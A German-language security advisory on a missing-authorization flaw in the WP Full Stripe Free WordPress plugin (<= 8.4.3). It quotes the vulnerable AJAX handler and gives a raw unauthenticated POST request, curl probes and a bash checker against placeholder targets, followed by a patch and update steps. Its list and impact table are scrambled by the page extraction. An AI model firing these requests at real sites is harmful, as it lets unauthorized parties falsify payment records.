
WP Full Stripe Free <= 8.4.3 - Missing Authorization
Das WP Full Stripe Free Plugin für WordPress ist in Versionen bis einschließlich 8.4.3 anfällig für eine Fehlende Autorisierung über die AJAX-Aktion wpfs_update_failed_payment_status.
Der verwundbare AJAX-Endpunkt wird sowohl über wp_ajax_- als auch über wp_ajax_nopriv_-Hooks registriert:
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
Die Funktion update_failed_payment_status() (Zeile 3835–3865) führt Folgendes durch:
current_user_can())wp_verify_nonce())is_user_logged_in())// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
try {
$result = [];
$failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
$failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
$paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;
$paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
// ... no auth check before processing ...
$updateData = [
'paid' => 0,
'captured' => 0,
'refunded' => 0
];
// Attacker can overwrite with controlled values
if ( $lastCharge ) {
$updateData['last_charge_status'] = $lastCharge->status;
$updateData['failure_code'] = $lastCharge->failure_code;
$updateData['failure_message'] = $lastCharge->failure_message;
} else {
$updateData['last_charge_status'] = 'failed';
$updateData['failure_code'] = $failureCode;
$updateData['failure_message'] = $failureMessage;
}
$this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
// ...
}
}
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE
| Auswirkungsbereich | Schweregrad | Beschreibung |
|---|---|---|
| Integrität |
# Testet, ob der Endpunkt ohne Authentifizierung erreichbar ist
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
-d "action=wpfs_update_failed_payment_status" \
-d "paymentIntentId=test_cve202612432" \
-d "failureCode=TEST_CODE" \
-d "failureMessage=TEST_MESSAGE"
# Erwartete Antwort (anfällig):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}
# Das Hauptindiz ist, dass der Endpunkt antwortet, OHNE eine Authentifizierung zu verlangen
#!/bin/bash
TARGET="https://TARGET"
# Prüfen, ob anfällig
echo "[*] Teste CVE-2026-12432..."
RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
-d "action=wpfs_update_failed_payment_status" \
-d "paymentIntentId=test_123" \
-d "failureCode=XSS" \
-d "failureMessage=INJECTED")
if echo "$RESPONSE" | grep -q "success"; then
echo "[+] ANFÄLLIG – Endpunkt ohne Authentifizierung erreichbar"
else
echo "[-] Nicht anfällig oder Fehler"
fi
Füge eine Autorisierungsprüfung in wpfs-customer.php in Zeile 3835 hinzu:
function update_failed_payment_status() {
// DIESE PRÜFUNG HINZUFÜGEN
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// ... Rest der Funktion
}
Aktualisiere auf WP Full Stripe Free >= 8.4.4
# Über WordPress Admin
Dashboard > Plugins > WP Full Stripe > Aktualisieren
# Über WP-CLI
wp plugin update wp-full-stripe-free
# Über SSH
wp plugin update wp-full-stripe-free --version=8.4.4
wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php.current_user_can()-Aufrufe vor AJAX-Handlern.# Prüfen, ob eine anfällige Version installiert ist
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"
# AJAX-Endpunkt testen
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
-d "action=wpfs_update_failed_payment_status" \
-d "paymentIntentId=test" | grep -q "success" && echo "Möglicherweise anfällig"
| Mittel |
| Angreifer können erfolgreiche Zahlungen als fehlgeschlagen markieren |
| Vertraulichkeit | Keine | Keine Datenpreisgabe |
| Verfügbarkeit | Gering | Könnte Geschäftsabläufe stören |